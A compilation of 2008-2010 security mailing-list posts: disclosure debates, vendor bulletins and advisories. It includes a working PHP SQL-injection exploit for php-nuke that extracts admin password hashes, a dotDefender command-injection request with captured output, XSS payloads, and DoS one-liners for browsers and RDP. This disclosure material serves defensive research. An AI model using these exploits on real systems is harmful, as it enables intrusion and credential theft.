ancestor of Firefox (Phoenix) didn't exist. Yes, its that ancient! :)
--
From: Vladimir '3APA3A' Dubrovin 3ap...@security.nnov.ru
Sent: Saturday, May 29, 2010 2:05 AM
To: John Smith a...@live.com
Cc: MustLive mustl...@websecurity.com.ua; Susan Bradley
sbrad...@pacbell.net; bugtraq@securityfocus.com
Subject: Re[4]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome,
Opera and other browsers
Dear John Smith,
In general case we are discussing, DoS may be caused by e.g. some
combination of allowed tags/properties or by malformed image.
As it was pointed by author, this attack may be performed with
scripting disabled (with [iframe src=]). That's why e-mail vector may
be significant.
--Friday, May 28, 2010, 11:55:28 PM, you wrote to 3ap...@security.nnov.ru:
JS Point taken. But that'd be a non-issue on the browser's end as much as
JS site's that is allowing the rogue scripts (or malformed ads, as per
your
JS example).
JS The fork of this mail thread clearly explains what I'm talking about.
The
JS issue noted there is a simple DoS attack which every programming
language
JS and platform is vulnerable too. Its called the infinite loop. It is
not a
JS 'security vulnerability' by itself and is completely agnostic of the
uri
JS handler (try http or anything instead of nntp).
JS Here's the simplified JS version of it (lets call it the Universal
DoS --
JS yes, it'd work for every browser on the planet that can execute JS) -
JS script
JS while(1)alert('hello world');
JS /script
JS Done!
JS Workaround:
JS None very intuitive. Maybe allow the user to terminate the script at
every
JS iteration? specific time period? etc...
JS --
JS From: Vladimir '3APA3A' Dubrovin 3ap...@security.nnov.ru
JS Sent: Friday, May 28, 2010 11:47 PM
JS To: John Smith a...@live.com
JS Cc: MustLive mustl...@websecurity.com.ua; Susan Bradley
JS sbrad...@pacbell.net; bugtraq@securityfocus.com
JS Subject: Re[2]: DoS vulnerabilities in Firefox, Internet Explorer,
Chrome,
JS Opera and other browsers
Dear John Smith,
Actually, browser DoS may be quite serious vulnerability, depending on
nature of DoS. Think about e.g. banner or content exchange network,
social networks, web boards, etc where browser vulnerability may be
used against site or page because it will harm any visitors of this
site or page.
In case of this very vulnerability, most serious impact may be from
e-mail vector.
--Friday, May 28, 2010, 7:07:50 PM, you wrote to
mustl...@websecurity.com.ua:
JS Just a few cents - DoS in webbrowsers doesn't fall under the
category
of
JS vulnerabilities rather more of annoyances. Although I don't deny
the
JS fact that certain DoS attacks *may lead* or *may serve as hints* to
other
JS more serious exploits, but that's a different topic and with ASLR in
the
JS scene, a very grey area of discussion.
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Стреляя во второй раз, он искалечил постороннего. Посторонним был я.
(Твен)
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Машина оказалась способной к единственному действию,
а именно умножению 2x2, да и то при этом ошибаясь. (Лем)
Re: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers
Just a few cents - DoS in webbrowsers doesn't fall under the category of vulnerabilities rather more of annoyances. Although I don't deny the fact that certain DoS attacks *may lead* or *may serve as hints* to other more serious exploits, but that's a different topic and with ASLR in the scene, a very grey area of discussion. Case in point: XSS can be of various kinds and most of them (I'm talking of about 99.99%) can be attributed to the design of the web technologies/protocols specifications (http, ajax, etc etc...you name it) and the browsers can only do that much. Hence its not feasible for a webbrowser to 'prevent' them without tampering the protocol or annoying you with continuous messages about what it is doing (assuming all users have the knowledge of how web works as much as the people on this list). So unless you pinpoint the exact flaw (XSS or DoS) its very hard to assume whether the browser in question actually needs a fix for it. Best Regards, w -- From: MustLive mustl...@websecurity.com.ua Sent: Friday, May 28, 2010 2:23 AM To: Susan Bradley sbrad...@pacbell.net Cc: bugtraq@securityfocus.com Subject: Re: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers Hello Susan! As I already wrote you and Adam earlier, every type of disclosure (including full disclosure and responsible full disclosure) can be good in appropriate situation. And I use that type of disclosure which is suitable for every particular case. Taking into account that 3 from 4 vendors answered me (except Microsoft) and Google had already non affected Chrome 4, and Mozilla and Opera promised to fix it (we'll see when and how they do it), then you can see that my approach works. And responsible full disclosure can force browser vendors to attend more at security of their software. Soon I'll write to security mailing lists about new vulnerabilities in different browsers. And you can not worry about that - in those advisories I'll use a littler different approach of informing browser vendors. You will like it ;-). Let's take one for example. Did you email sec...@microsoft.com? I have before and 100% of the time they respond. Yes, I did. I emailed Microsoft, like other browser vendors. I knew their emails, because I wrote to all of these four vendors a lot of times during 2007-2010, and all of them answered many times (who more, who less). But as I already wrote, in 99% cases they ignored to fix DoS holes (even if they answered and told, that they agreed that it was DoS and they'd think about fixing it). For example Microsoft one time even answered me twice (with thanks), when I informed them about XSS in IE6. But they didn't fix this vulnerability. It was Saved XSS (this type of XSS I created after I found this hole in IE), which was already posted at Bugtraq in 2007. And in 2008 I informed Microsoft (and posted to Bugtraq) about this vulnerability in IE7 - but MS ignored. And in 2009 MS released IE8 where this hole was fixed (as I checked it), without mentioning about this fact and without thanking me (just silently). Similarly to Mozilla's approach with one XSS in Firefox (which I informed them), which I already mentioned to Bugtraq in beginning of 2009. But about DoS holes they didn't answer in 99% of time. And Microsoft never fixed DoS holes in IE, which I informed them, but fix DoS hole in Outlook. And answered me twice: one time with thanks and latter when they fixed (MS was only one vendor who informed me that it fixed DoS hole in their software, from all of those few cases when browser vendors fixed DoS holes). So as it clear, browser vendors only answer when they want. Patches take time. The do not occur over night. Furthermore it may take a day for the vendor to respond to you. As I mentioned, 3 from 4 developers answered me (but it's not common for cases with DoS holes). But MS didn't answer me for more than 1,5 week. From which you can see their attitude to such issues. And on example of Google, which Chrome 4 was invulnerable to this hole (only Chrome 1.x), shows their attitude to such issues - that they are working to fix holes (including those which was in older versions of their browser) even before they will be found and disclosed by researchers. Should you have issues, would you consider emailing me first so I can introduce you to contacts? Thanks, I don't need help with informing browser vendors. They with no doubts received all my letters in 2007-2010 and would receive all future letters. But as said, I'll not be more informing them about DoS holes. This decision I made in August 2009 and it's final decision. Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua - Original Message - From: Susan Bradley sbrad...@pacbell.net To: MustLive mustl...@websecurity.com.ua Cc: bugtraq@securityfocus.com Sent: Thursday, May
Re: Re[2]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers
Point taken. But that'd be a non-issue on the browser's end as much as
site's that is allowing the rogue scripts (or malformed ads, as per your
example).
The fork of this mail thread clearly explains what I'm talking about. The
issue noted there is a simple DoS attack which every programming language
and platform is vulnerable too. Its called the infinite loop. It is not a
'security vulnerability' by itself and is completely agnostic of the uri
handler (try http or anything instead of nntp).
Here's the simplified JS version of it (lets call it the Universal DoS --
yes, it'd work for every browser on the planet that can execute JS) -
script
while(1)alert('hello world');
/script
Done!
Workaround:
None very intuitive. Maybe allow the user to terminate the script at every
iteration? specific time period? etc...
--
From: Vladimir '3APA3A' Dubrovin 3ap...@security.nnov.ru
Sent: Friday, May 28, 2010 11:47 PM
To: John Smith a...@live.com
Cc: MustLive mustl...@websecurity.com.ua; Susan Bradley
sbrad...@pacbell.net; bugtraq@securityfocus.com
Subject: Re[2]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome,
Opera and other browsers
Dear John Smith,
Actually, browser DoS may be quite serious vulnerability, depending on
nature of DoS. Think about e.g. banner or content exchange network,
social networks, web boards, etc where browser vulnerability may be
used against site or page because it will harm any visitors of this
site or page.
In case of this very vulnerability, most serious impact may be from
e-mail vector.
--Friday, May 28, 2010, 7:07:50 PM, you wrote to
mustl...@websecurity.com.ua:
JS Just a few cents - DoS in webbrowsers doesn't fall under the category
of
JS vulnerabilities rather more of annoyances. Although I don't deny
the
JS fact that certain DoS attacks *may lead* or *may serve as hints* to
other
JS more serious exploits, but that's a different topic and with ASLR in
the
JS scene, a very grey area of discussion.
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Стреляя во второй раз, он искалечил постороннего. Посторонним был я.
(Твен)
[security bulletin] HPSBUX02508 SSRT100007 rev.2 - HP-UX Running sendmail with STARTTLS Enabled, Remote Unauthorized Access
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c02009860 Version: 2 HPSBUX02508 SSRT17 rev.2 - HP-UX Running sendmail with STARTTLS Enabled, Remote Unauthorized Access NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2010-04-20 Last Updated: 2010-04-20 Potential Security Impact: Remote unauthorized access Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY A potential security vulnerability has been identified with HP-UX running sendmail and STARTTLS enabled. This vulnerability could allow a user to gain remote unauthorized access. References: CVE-2009-4565 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HP-UX B.11.11, B.11.23 and B.11.31 running sendmail 8.13.3 with STARTTLS enabled. BACKGROUND CVSS 2.0 Base Metrics === Reference Base Vector Base Score CVE-2009-4565(AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5 === Information on CVSS is documented in HP Customer Notice: HPSN-2008-002 RESOLUTION HP has provided the following upgrades to resolve the vulnerability. The updates are available from http://software.hp.com. HP-UX Release / Sendmail version / Action B.11.11 / 8.13.3 / Upgrade to B.11.11.02.008 or subsequent B.11.23 / 8.13.3 / Upgrade to B.11.23.1.007 or subsequent B.11.31 / 8.13.3 / Upgrade to C.8.13.3.5 or subsequent Note: Installations of HP-UX B.11.11 running sendmail 8.11.1 should upgrade to sendmail 8.13.3 or subsequent. This Sendmail 8.13.3 Special Release Upgrade is available for download from http://software.hp.com Go to Internet ready and networking Sendmail 8.13.3 Special Release Upgrade Note: To identify a system in a vulnerable configuration: 1. Log on to the HP-UX system 2. Run .telnet localhost 25. 3. Enter .ehlo xyz. 4. Search the output for .250-STARTTLS. 5. If .250-STARTTLS. is found, the system is in a vulnerable configuration It is recommended that the update be applied even if the system is not currently in a vulnerable configuration. Applying the update will eliminate the possibility of introducing the vulnerability by a configuration change. MANUAL ACTIONS: Yes - Update B.11.11 - install SMAIL B.11.11.02.008 or subsequent B.11.23 - install SMAIL B.11.23.1.007 or subsequent B.11.31 - install SENDMAIL C.8.13.3.5 or subsequent PRODUCT SPECIFIC INFORMATION HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa The following text is for use by the HP-UX Software Assistant. AFFECTED VERSIONS HP-UX B.11.11 = SMAIL-UPGRADE.INETSVCS-SMAIL action: install B.11.11.02.008 or subsequent HP-UX B.11.23 = SMAIL-UPGRADE.INET-SMAIL SMAIL-UPGRADE.INET2-SMAIL action: install B.11.23.1.007 or subsequent HP-UX B.11.31 = Sendmail.SENDMAIL-AUX Sendmail.SENDMAIL-RUN action: install C.8.13.3.5 or subsequent END AFFECTED VERSIONS HISTORY Version: 1 (rev.1) - 24 March 2010 Initial release Version: 2 (rev.2) - 20 April 2010 Updated revisions for download and download location. Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For further information, contact normal HP Services support channel. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-al...@hp.com It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. To get the security-alert PGP key, please send an e-mail message as follows: To: security-al...@hp.com Subject: get key Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NAlangcode=USENGjumpid=in_SC-GEN__driverITRCtopiccode=ITRC On the web page: ITRC security bulletins and patch sign-up Under Step1: your ITRC security bulletins and patches -check ALL categories for which alerts are required and continue. Under Step2: your ITRC operating systems -verify your operating system selections are checked and save. To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php Log in on the web page: Subscriber's choice for Business: sign-in. On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections. To review previously
Re: [Full-disclosure] Medium security hole in Varnish reverse proxy
Post some code that people can evaluate. For starters, There's no reason why varnish ever has to run as root. It never listens on privileged ports, and the C compiler is never available over a network interface. You can ask varnish to reload a configuration and recompile it, but you'd have to have write access to the filesystem first. You an also only cause recompilation to occur if the admin interface is up and running, which can be easily disabled. Poul is probably correct. Any vulnerabilities in Varnish with regards to privilege escalation are configuration issues. -j On Mon, Mar 29, 2010 at 12:49 AM, Tim Brown t...@nth-dimension.org.uk wrote: Hi, I've identified a couple of security flaws affecting the Varnish reverse proxy which may allow privilege escalation. These issues were reported by email to the vendor but he feels that it is a configurational issue rather than a design flaw. Whilst I can partially see his point in that the administrative interface can be disabled, I'm not convinced that making a C compiler available over a network interface without authentication is sound practice, especially when the resultant compiled code can be made to run as root rather trivially. Tim -- Tim Brown mailto:t...@nth-dimension.org.uk http://www.nth-dimension.org.uk/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Remote Command Execution in dotDefender Site Management
Problem Description
===
A remote command execution vulnerability exists in the dotDefender
(3.8-5) Site Management.
dotDefender [1] is a web appliaction firewall (WAF) which 'prevents
hackers from attacking your
website.'
Technical Details
=
The Site Management application of dotDefender is reachable as a web
application (https:site/dotDefender/)
on the webserver. After passing the Basic Auth login you can
create/delete applications.
The mentioned vulnerability is in the 'deletesite' implementation and
the 'deletesitename' variable.
Insufficient input validation allows an attacker to inject arbitrary commands.
Delete Site
===
A normal delete transaction looks as follow:
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
sitename=dotdefeaterdeletesitename=dotdefeateraction=deletesitelinenum=14
An attack looks like:
/Request/
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeaterdeletesitename=dotdefeater;id;ls -al
../;pwd;action=deletesitelinenum=15
/Response/
[...]
br
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12
drwxr-xr-x 3 root root 4096 Nov 23 02:37 .
drwxr-xr-x 9 root root 4096 Nov 23 02:37 ..
drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin
/usr/local/APPCure-full/lib/admin
[...]
Affected Code
=
The affected code (perl) is in index1.cgi of the admin interface:
311
312 }elsif($action eq deletesite) {
# delete site
313 $deletesitename=$postFields{deletesitename};
314 $dots_index = index($deletesitename,%3A);
315
316 if($dots_index != -1 ) {
317 $site_a_part= substr($deletesitename,0,$dots_index);
318 $site_b_part=
substr($deletesitename,$dots_index+3,length($deletesitename)-$dots_index-2);
319 $site_a_part=cleanIt($site_a_part);
320 $site_b_part=cleanIt($site_b_part);
321 $deletesitename = $site_a_part.:.$site_b_part;
322 }
323
324 $linenum=$postFields{'linenum'};
325 applyDbAudit($action);
326 delline($linenum,2);
327 cleanSiteFingerPrints($deletesitename);
328
329 deleteSiteConf($deletesitename);
330 $site_params=$CTMP_DIR/.$deletesitename._params;
331 system(rm -f $site_params);
And applicure-lib2.pl:
13 sub cleanIt {
14 my($param,$type)=...@_;
15
16 $param =~ s/%([a-fA-F0-9]{2})/pack H2, $1/eg;
17 if ($type eq 'any') {
18 } elsif ($type eq 'filter') {
19 $param =~ s/\+/ /eg;
20 } elsif ($type eq 'path') {
21 $param = un_urlize($param);
22 #$param =~ s/([^A-Za-z0-9\-_.\/~'])//g;
23 #$param =~ s/\+/ /eg;
24 } else {
25 $param =~ s/([^A-Za-z0-9\-_.~'])//g;
26 }
27 return $param;
28 }
Here one can see that certain shell control characters are not
protected by the call to cleanIt. Thus an attacker
can
Re: [Full-disclosure] 3rd party patch for XP for MS09-048?
On http://support.microsoft.com/gp/lifepolicy MS says that the
Extended Support Phase includes Security Update Support. If I have
a Premier Support contract (which entitles me to Extended Support)
aren't MS contractually obliged to make this fix available to me?
2009/9/16 Aras Russ Memisyazici nowh...@devnull.com:
:)
Thank you all for your valuable comments... Indeed I appreciated some of the
links/info extended (Susan, Thor and Tom) However, in the end, it sounded
like:
a) As a sysadmin in charge of maintaining XP systems along with a whole
shebang of other mix setups, unless I deploy a better firewall solution, I
seem to be SOL.
b) M$ is trying to boost Win7 sales... whoopd...@#$%#^-doo... As was stated
earlier, they did the exact same thing back in Win2K days... Nothing new
here... :/ As Larry and Thor pointed out, what sux is that despite M$
PROMISING that they would continue supporting XP since they didn't exactly
state WHAT they would support, they seem to be legally free to actually get
away with this BS *sigh* gotta love insurance-salesman-tactics when it comes
to promises...
So... with all this commentary, in the end, I still didn't read from the
big'uns on whether or not a 3rd party open-source patch would be
released... I sure miss the days that people back in the day who cared would
:) In the end I realize, it sounds like a total over-haul of the TCP/IP
stack is required; but does it really have to? Really?
How effective is what Tom Grace suggests? Unless I'm misunderstanding, he's
suggesting switching to an iptables based protection along with a registry
tweak... ahh the good ol' batch firewall :) Would this actually work as a
viable work-around? I realize M$ stated this as such, but given their
current reputation it's really hard to take their word for anything these
days :P
What free/cheap client-level-IPS solutions block this current attack? Any
suggestions?
Thank you for your time and look forward to some more answers.
Sincerely,
Aras Russ Memisyazici
arasm {at) vt ^dot^ edu -- I set my return addy to /dev/null for... well
you know why!
Systems Administrator
Virginia Tech
-Original Message-
From: Larry Seltzer [mailto:la...@larryseltzer.com]
Sent: Wednesday, September 16, 2009 5:03 PM
To: Susan Bradley; Thor (Hammer of God)
Cc: full-disclos...@lists.grok.org.uk; bugtraq@securityfocus.com
Subject: RE: [Full-disclosure] 3rd party patch for XP for MS09-048?
Yes, they used the bulletin to soft-pedal the description, but at the
same time I think they send a message about XP users being on shaky
ground. Just because they've got 4+ years of Extended Support Period
left doesn't mean they're going to get first-class treatment.
Larry Seltzer
Contributing Editor, PC Magazine
larry_selt...@ziffdavis.com
http://blogs.pcmag.com/securitywatch/
-Original Message-
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Susan
Bradley
Sent: Wednesday, September 16, 2009 2:26 PM
To: Thor (Hammer of God)
Cc: full-disclos...@lists.grok.org.uk; bugtraq@securityfocus.com
Subject: Re: [Full-disclosure] 3rd party patch for XP for MS09-048?
It's only default for people running XP standalone/consumer that are
not even in a home network settings.
That kinda slices and dices that default down to a VERY narrow sub sub
sub set of customer base.
(Bottom line, yes, the marketing team definitely got a hold of that
bulletin)
Thor (Hammer of God) wrote:
Yeah, I know what it is and what it's for ;) That was just my subtle
way of trying to make a point. To be more explicit:
1) If you are publishing a vulnerability for which there is no patch,
and for which you have no intention of making a patch for, don't tell me
it's mitigated by ancient, unusable default firewall settings, and don't
withhold explicit details. Say THERE WILL BE NO PATCH, EVER. HERE'S
EVERYTHING WE KNOW SO YOU CAN DETERMINE YOUR OWN RISK. Also, don't say
'you can deploy firewall settings via group policy to mitigate exposure'
when the firewall obviously must be accepting network connections to get
the settings in the first place. If all it takes is any listening
service, then you have issues. It's like telling me that the solution
is to take the letter 'f' out of the word solution.
2) Think things through. If you are going to try to boot sales of
Win7 to corporate customers by providing free XP VM technology and thus
play up how important XP is and how many companies still depend upon it
for business critical application compatibility, don't deploy that
technology in an other-than-default configuration that is subject to a
DoS exploit while downplaying the extent that the exploit may be
leveraged by saying that a typical default configuration mitigates it
while choosing not to ever patch it. Seems like simple logic points
to me.
t
-Original Message-
From:
Re: Multiple RDP Connections BSOD DOS
Unable to reproduce on Vista Ultimate x64-all patch levels. John Menerick www.securesql.info On Sep 8, 2009, at 11:35 AM, Tim Medin wrote: Creating multiple RDP connection at the same time causes Windows to Blue Screen. Here is the Proof of Concept code. for /L %i in (1,1,20) do mstsc /v:127.0.0.%i It does work on Windows 7 and some Vista installations. -Tim Medin NOTICE: This email and any attachments may contain confidential and proprietary information of NetSuite Inc. and is for the sole use of the intended recipient for the stated purpose. Any improper use or distribution is prohibited. If you are not the intended recipient, please notify the sender; do not review, copy or distribute; and promptly delete or destroy all transmitted information. Please note that all communications and information transmitted through this email system may be monitored by NetSuite or its agents and that all incoming email is automatically scanned by a third party spam and filtering service.
Re: New site about security conferences : www.security-briefings.com
Please plan to join us for our 2009 Techno Security Conference in beautiful Myrtle Beach, SC. May 31 - June 3 at the Marriott Grande Dunes Resort. Our Eleventh Annual International Techno Security Conference, promises to be THE international meeting place for IT Security professionals from around the world. We also have some great pre-conference and post-conference training from some of leading companies in training. To learn more go to our website http://www.thetrainingco.com/
Re: php-nuke 8.0 module sections artid blind sql inj vuln.
The 'Sections' module was removed from phpNuke years ago, probably
around version 7.4 (2006) and was replaced by the 'Content' module.
John Haywood
-Original Message-
From: the.dume...@gmail.com
To: bugtraq@securityfocus.com
Subject: php-nuke 8.0 module sections artid blind sql inj vuln.
Date: 30 Dec 2008 14:31:59 -
?php
error_reporting (E_ERROR);
ini_set(max_execution_time,0);
echo '
+=+
|PHP-NUKE Module Sections printpage artid Sql inj Vuln.
|#304;MHAT#304;M#304;.ORG BugBUSTER Team. |
+=+
+ version 8.0
+ Tested on 7.9 6.0
';
if ($argc 2){
print Usage: . $argv[0] . host version [table prefix]\n;
print ex.: . $argv[0] . phpnuke.org 7\n;
credits();
exit;
}
/* Ac#305;klama */
if (empty($argv[3])){ $prefix = 'nuke';} #Prefix girin.
else {$prefix = $argv[3];}
switch ($argv[2]){
case 6:
$query
=modules.php?name=Sectionsop=printpageartid=9+union+select+aid,pwd+from+.$prefix._authors;
$version = 6;
break;
default:
$query
=modules.php?name=Sectionsop=printpageartid=9'+union+select+aid,pwd+from+.$prefix._authors;
$version = 7;
break;
}
$host = 'http://' . $argv[1] . '/'; # argv[1] - host
$http = $host . $query;
echo
'[+] host: '.$host . '
[+] nuke version: '.$version.'
';
#DEBUG
//print $http . \n;
$result = file_get_contents($http);
preg_match(/([a-f0-9]{32})/, $result, $matches);
if ($matches[0]) {print Hashs.: .$matches[0];
if (preg_match(/(?=\br\\br\)(.*)(?=\\\/i\)/, $result, $match)) print
\nAdmin's name: .$match[0];}
else {echo Basar#305;s#305;z(Exploit Failed)...;}
credits();
function credits(){
print \n\n++\n\r Coded By dumenci \n\r
Copyright (c) BugBUSTERs;
print \n\r++\n;
exit;
}
?
Re: Pidgin IM Client Password Disclosure Vulnerability.
On Thu, Sep 18, 2008 at 03:16:18PM -0400, Memisyazici, Aras wrote: While I agree with your comments, I cannot help but suggest that maybe the method of choice could be 'security through obscurity' whereby they take a hash of the password, with a non-std. hashing mechanism. The idea being that in today's world where there are so many scr1pt-kiddi3 toolz out there allowing the avg. Joe Schmoe the capability of analyzing one's memory processes i.e. Tsearch, memhack etc... It only makes it non-trivial for them to extract the info needed. This way you are making it a tad more annoying and adding another buffer they need to bypass :) Just a thought, Aras 'Russ' Memisyazici Systems Administrator Virginia Tech Wow, security through obscurity. That's a good practice alright. So you propose that I and my fellow Pidgin developers implement security through obscurity, thus giving our users a false sense of security? No chance. Note also that we store passwords on-disk without any form of encryption or obfuscation, which has been debated to death on numerous occasions--so much so, in fact, that we've written an FAQ entry dealing specifically with this. Additionally, *any* form of encryption that we were to use would have to be reversible, as storing protocol-specific hashes is, as Siim pointed out, no better than storing the plain text. Reversible encryption again makes it completely trivial to decrypt the passwords (by using our own code against the user), to the point that it really is no improvement at all. I find it curious that the person disclosing this so-called vulnerability made no effort to contact us before disclosing, let alone do any research to find out where the affected area of code is (the code being complained about here is in libpurple, not Pidgin). We have enough visible methods of contact that there is no excuse for not attempting to contact us directly. John signature.asc Description: Digital signature
Re: Pidgin IM Client Password Disclosure Vulnerability.
Memisyazici, Aras wrote: John: Thank you for your reply. Indeed, as I tried to explain in my previous reply, my suggestion in obscurity as a means of securing things, was not meant as (encryption of encryption) ^ ?, rather building another barrier to make it harder for compromise. Which we can't do, because we need to be able to generate the hash a given server requires. Some protocols can ask for different types of hashes at various times, and if we store the password in a non-reversible hash we lose the ability to use these protocols. Not to mention the fact that it still does nothing but provide a false sense of security, which we feel is worse than no security at all. IMO, a real solution would be to be able to deploy/install Pidgin in a fashion so that: a) the accounts.xml file's location can be overriden (so that I can re-direct to a network shared TrueCrypt drive over an IPSEC protected pipe in a VLAN'd network :p) This can already be done--on a Windows system, which this so-called vulnerability disclosure obviously focused solely on, forcing the PURPLEHOME environment variable to be set by a user's logon script will use the specified path for not just accounts.xml but all configuration and data files for Pidgin. The pidgin.exe binary can also be renamed and replaced with a script (or executable stub) that calls the renamed binary with the -c option to specify a different location for the configuration directory. We have no intention of allowing individual files to be relocated outside the configuration directory through any measure other than symbolic links. b) to be able to disable the Save Password option and ensure it cannot be overridden by the user by default I'm sure we'd accept a patch that allowed this in a portable fashion--i.e. one not tied to any specific OS. As it is, however, I seriously doubt any of us care to implement this ourselves. In an institution where the authentication piece is tied into the universal PIM LDAP, as-is, the usage of your application puts us in awkward position, as it has been deemed against the policies to store such authentication information in the open in an easily accessible location. Per your post on http://developer.pidgin.im/wiki/PlainTextPasswords here, AFAIK there still isn't any plugin that decrypts/encrypts the saved password file either :/ There is no intent to ever provide encryption on the file itself or the passwords stored in it (again, the false sense of security). If your file system's permissions model is insufficient to protect the file, find a better filesystem. If your understanding of the file system's permissions model is insufficient, learn about it. NTFS and all common UNIX file systems provide adequate protection for the file; arguments about the disk falling into the wrong hands don't really carry any weight, because if the disk is lost you're screwed whether there's a hash or encryption or anything else. If your disk is lost, you have much bigger problems than lost IM passwords. However, the ability to use external keyrings for more secure storage of passwords has been the focus of a Google Summer of Code project this year. Such position your team is taking, pretty much ties our hands and cripples us on spreading the good word about Pidgin: IMO one of the best chat applications out there! If our position on any matter costs us a few users, we're willing to live with that. Being the most popular IM application has never been our goal--our goal is to make Pidgin the best client it can be for ourselves and those who think and act like we do. John signature.asc Description: OpenPGP digital signature
[NOBYTES.COM: #13] Quick.Cart v3.1 Freeware - Cross Site Scripting
Application:Quick.Cart v3.1 Freeware Authors Site: http://opensolution.org/quick.cart,en,9.html +--+ XSS: http://www.victim.com/admin.php?;scriptalert(document.cookie)/script +-[Notes:]-+ This only appears to work on Internet Explorer. Vulnerabilities found on: 05/09/2008 Author(s) Informed on: 06/09/2008 Author(s) Response: 08/09/2008 Author(s) Fix: None Yet [EMAIL PROTECTED] http://www.NoBytes.com
[NOBYTES.COM: #12] osCommerce 2.2rc2a - Information Disclosure
Application:osCommerce 2.2rc2a Authors Site: http://www.oscommerce.com/ +--+ Information Disclosure: Manipulation of the 'DOB' Variable on create_account.php can cause information disclosure: In this example the POST variable 'DOB' has been set to: FOOBAR POST /oscommerce/create_account.php action=processgender=mfirstname=johnlastname=smithdob=FOOBARemail_addre [EMAIL PROTECTED]company=foobarstreet_address=foobarsuburb=foobarpost code=foobarcity=foobarstate=foobarcountry=1telephone1=123456789fax=1234 56789newsletter=onpassword=foobarconfirmation=foobar Result: Warning: checkdate() expects parameter 3 to be long, string given in /var/www/oscommerce/create_account.php on line 80 +-[Notes:]-+ Vulnerabilities found on: 05/09/2008 Author(s) Informed on: 06/09/2008 Author(s) Response: None Yet Author(s) Fix: None Yet [EMAIL PROTECTED] http://www.NoBytes.com
[NOBYTES.COM: #14] Quick.Cms.Lite v2.1 Freeware - Cross Site Scripting
Application:Quick.Cms.Lite v2.1 Freeware Authors Site: http://opensolution.org/quick.cms,en,10.html +--+ XSS: http://www.victim.com/admin.php?;scriptalert(document.cookie)/script +-[Notes:]-+ This only appears to work on Internet Explorer. Vulnerabilities found on: 05/09/2008 Author(s) Informed on: 06/09/2008 Author(s) Response: 08/09/2008 Author(s) Fix: 16/09/2008 [EMAIL PROTECTED] http://www.NoBytes.com
Re: h2desk helpdesk path disclosure vulnerability
This issue has been resolved. Please download: http://www.heathcosoft.com/h2desk/patches/april-2008-fix.zip Upload databasedump.php to the h2desk installation folder, overwriting the older version.
Re: Cryptome: NSA has real-time access to Hushmail servers
